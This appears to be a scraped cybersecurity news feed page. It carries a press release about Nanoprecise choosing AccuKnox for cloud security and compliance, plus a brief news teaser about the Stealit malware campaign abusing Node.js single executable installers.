    Nanoprecise specializes in AI and IoT-based predictive maintenance and condition monitoring solutions, offering real-time insights into machine health to help enterprises make data-driven decisions that save time, resources, and costs.

    Their proprietary technologies enable timely and accurate fault detection, ensuring optimal performance and reliability for industrial operations.

    Users can learn more at https://www.nanoprecise.io

    About AccuKnox

    AccuKnox is a Zero Trust CNAPP platform that delivers runtime protection, agentless risk assessment, and comprehensive visibility across cloud, container, and AI workloads.

    AccuKnox is a core contributor to leading CNCF OpenSource projects, KuberArmor and ModelArmor.

    AccuKnox Enterprise platform is anchored on these open source projects and helps organizations secure modern cloud environments with policy-driven automation and compliance frameworks that scale.

    Users can learn more at https://www.accuknox.com

    Contact

    Product Marketing Manager

    Syed Hadi

    AccuKnox

    syed.hadi@accuknox.com

    The post Nanoprecise partners with AccuKnox to strengthen its Zero Trust Cloud Security and Compliance Posture appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Stealit Malware Abuses Node.js Single Executable Feature via Game and VPN Installers

    ·

    Cybersecurity researchers have disclosed details of an active malware campaign called Stealit that has leveraged Node.js’ Single Executable Application (SEA) feature as a way to distribute its payloads. According to Fortinet FortiGuard Labs, select iterations have also employed the open-source Electron framework to deliver the malware. It’s assessed that the malware is being propagated through

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Nanoprecise partners with AccuKnox to strengthen its Zero Trust Cloud Security and Compliance Posture

    ·

    Menlo Park, USA, October 10th, 2025, CyberNewsWire AccuKnox, a leader in Zero Trust Cloud Native Application Protection Platforms (CNAPP), is proud to announce that Nanoprecise has selected AccuKnox to enhance its cloud security, governance, and compliance framework. Nanoprecise is a pioneer predictive maintenance and condition monitoring, and leverages Artificial Intelligence and IoT technologies to deliver […]

    The post Nanoprecise partners with AccuKnox to strengthen its Zero Trust Cloud Security and Compliance Posture appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶